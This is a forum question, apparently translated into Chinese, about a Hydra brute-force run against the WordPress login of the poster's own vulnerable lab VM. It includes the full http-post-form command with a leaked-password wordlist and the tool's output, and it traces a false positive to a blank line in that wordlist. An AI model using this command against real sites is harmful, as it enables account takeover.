我正在针对在我自己的服务器上运行的易受攻击的 VM 运行 Hydra。我正在尝试查找“admin”用户名的密码。

这是我运行的命令：

hydra -vV -l admin -P /root/Documents/000webhost.txt 10.0.2.10 http-post-form '/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

运行一段时间后，我收到以下消息：

[80][http-post-form] host: 10.0.2.10   login: admin
[STATUS] attack finished for 10.0.2.10 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-27 18:12:43

它说它找到了密码，但它没有显示该密码。

通常密码显示在“登录：管理员”的行中。

知道发生了什么吗？谢谢。

编辑

我似乎发现了这个问题。文件中有一个空行/密码（即“”）。此空密码显示为在“结果”输出前 19 行尝试：

[ATTEMPT] target 10.0.2.10 - login "admin" - pass "" - 15067 of 720303 [child 10] (0/0)

我直接在目标网络应用程序中输入“”作为密码，它给出的响应与“不正确”不同，从而导致误报。奇怪的是，Hydra 并没有输出它。

我用一个空行创建了一个较小的密码文件，问题又出现了。然后我从文件中删除了空行并再次运行 Hydra，这次没有得到误报。

再次感谢。